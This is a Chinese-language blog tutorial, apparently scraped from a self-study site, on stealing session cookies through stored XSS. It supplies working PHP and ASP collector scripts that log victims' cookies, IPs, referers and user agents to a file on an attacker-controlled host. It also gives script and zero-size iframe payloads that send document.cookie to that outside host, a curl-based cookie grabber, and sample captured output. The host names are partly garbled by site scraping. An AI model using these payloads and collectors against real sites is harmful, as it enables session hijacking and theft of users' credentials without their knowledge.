好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

XSS跨站使用php获取cookies 并保存 - 网站安全 - 自学

0x01 简单介绍

0X02 背景

0x03 实践

0x04 操作问题与解决方案

0x05 结束 

--------------------------------------------------------------------

0x01 : XSS  (Cross Site Scripting)是指恶意攻击者往Web页面里插入恶意(不一定都是恶意滴比如Test)html代码,当用户浏览该页之时,嵌入其中Web里面的html代码就可能会被触发,从而达到插入者的特殊目的。

XSS攻击分成两类,

一类是来自内部的攻击,主要指的是利用程序自身的 漏洞 ,构造跨站语句

另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。XSS和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免。

0x02 : 现在碰到过XSS反射 XSS入库

XSS反射型也称非持久型,是指我们通过URL构造插入自己的代码

for ex: http://Www.C.Com/index. asp ?name= < script>alert('XSS')</script>

这种方式自行构造不保存 需要将自己构造的链接等待某些人去触发。

XSS入库型也称持久型,持久呀,持久。。。

for ex: 在一些网站的注册用户的个人信息处可能会出现。或者某个Text框框。。。。

-----------------------------------

常用代码

<script>alert(document.cookie)</script> <script>alert('C')</script>

<IMG src=javascript:alert('C')>

------------------------------------

最近想要了解一下。测试了一下,终于算成功执行了。

-------------------------------------

XSS的高级应用很多,不才,了解甚微。我举例说明的比较简单,就是获取cookie。

---------------------------------------

0x03:

网站A HdhCmsTesta测试数据 //有着持久XSS滴 不可控 

网站B HdhCmsTestb测试数据 //自己存放获取cookies脚本滴  可控

网上资料很多 但是大多都是你转载我 我转载他。 更可恶的是转载的途中可能网站的限制等问题 转义 字符替换 乱码 等

导致脚本不能正常运行,也不给个原文出处,还可耻的装原创。

网上可见的比较简单的获取页面分 ASP  PHP 两种脚本 已经足够

ASP版本

<% msg=Request.ServerVariables("QUERY_STRING")     testfile=Server.MapPath("cook.txt")     set fs=server.CreateObject("scripting.filesystemobject")     set thisfile=fs.OpenTextFile(testfile,8,True,0)     thisfile.Writeline(""&msg& "")     thisfile.close     set fs = nothing     %>

 

PHP版代码: <?php  $cookie = $_GET['c'];  $ip = getenv ('REMOTE_ADDR');  $time=date("j F, Y, g:i a");  $referer=getenv ('HTTP_REFERER');  $fp = fopen('cook.txt', 'a');  fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');  fclose($fp);  ?>

 

 大多都这种 将其保存成 1.php 然后保存到自己的空间去

http://HdhCmsTestb测试数据/1.php

http://HdhCmsTestb测试数据/1.asp

 

然后在 入库XSS处 填写 

<script>document.location="http:// HdhCmsTest2cto测试数据 /1.php?c="+document.cookie;</script>

<script>document.location="http://HdhCmsTestb测试数据/1.asp?msg="+document.cookie;</script>

 

虽然过滤不严格导致了各种形式的XSS 但是 可能因为 文本框的长度问题不能输入这么长 或者禁用过滤掉了<script></script>标签

 

0x04

测试一下发现如果 长度超标则会出现不能入库的情况 自然 就没有XSS了

如果使用一个HTM 或者HTML 文件

则获取到的cookies 则是HdhCmsTestb测试数据 的 而不在是A了 因为它先从A达了B又在B上获取的cookies

1)HdhCmsTesta测试数据/xss.asp 2)跨站HdhCmsTestb测试数据/1. html  3)1.html--->HdhCmsTestb测试数据/1.php 4)获取到了B的cookies

 

显然这样失去了我们要去获取A的cookies的初衷和意义了,因为至少B是自己可控的,A是想要去可控的。

 

我想到了可以使用只有一个php页面 没有参数 也不需要跟随 document.cookie 来获取 。因为自己不懂 php所以就结合着网上的代码自己修改了一份可以直接获取的,参数名称什么的可能起的不是很标准。

像ASP ASPX JSP prel python 啥的 我就更不懂了。欢迎大家指正或者提供一个更高效率的脚本。

 

 <?php $ch = curl_init();  $ip = getenv ('REMOTE_ADDR');  $time = date("Y-m-d G:i:s A"); $referer = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch,CURLOPT_URL,'http://HdhCmsTesta测试数据'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,1); curl_setopt($ch, CURLOPT_NOBODY, false); time()+94608000;     //这里是说cookies 3年内不失效,不过这样我不知道是否还有意义 $rs = curl_exec($ch); preg_match_all('/Set-Cookie: (.+)=(.+)$/m', $rs, $regs); foreach($regs[1] as $i=>$k) $fp = fopen('C.html', 'a');  fwrite($fp, 'k: '.$k.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br>agent: '.$agent.'<br><br><br>');  fclose($fp);  curl_close($ch); ?>

 

 然后使用<iframe></iframe>标签 

 <iframe src="http://HdhCmsTestb测试数据/1.php";/> // 如果条件成熟 文本框长度限制不严格的话可以调整框架大小

<iframe src=http://HdhCmsTestb测试数据/1.php width=0 height=0></iframe> 否则总是会出现一个 巴掌大的操蛋小框框。。。。

 <script>document.location="http://HdhCmsTestb测试数据/1.php?c="+document.cookie;</script>

这样使用<iframe>标签相对使用 <script> 标签 带参数调用获取cookies 就要简短很多。很且获取的准确性也高了很多。

当然还是需要根据眼下的实际情况定夺,不一定可以使用<iframe> 或者是 在页面中限制了<iframe>得使用范围等等。。。

 

----------------

获取结果现实

 

k: ASPSEXXXXXXXXXXXQASCA=BOHJNXXXXXXXXXXXXXNFFAOLCGKC; path IP: 1x0.45.1X9.105 Date and Time: 2012-00-00 00:00:51 PM Referer: http://HdhCmsTesta测试数据/xss.asp agent: Mozilla/7.0 (linux 2.6.18) AppleWebKit/516.11 (KHTML, like Gecko) Chrome/21.0.1142.57 Safari/516.11

 

==============================================================

0X05 一篇总结 不喜勿喷 欢迎指正 共同进步。

这只是一个在一个特定背景下完成的一个小测试。脱离了原有背景或许可以举一反三,但是如果不正确的先说明这是一个独立的背景只说用php脚本就可以获取cookies 是不负责的表现。对自己对别人都是

查看更多关于XSS跨站使用php获取cookies 并保存 - 网站安全 - 自学的详细内容...

  阅读:49次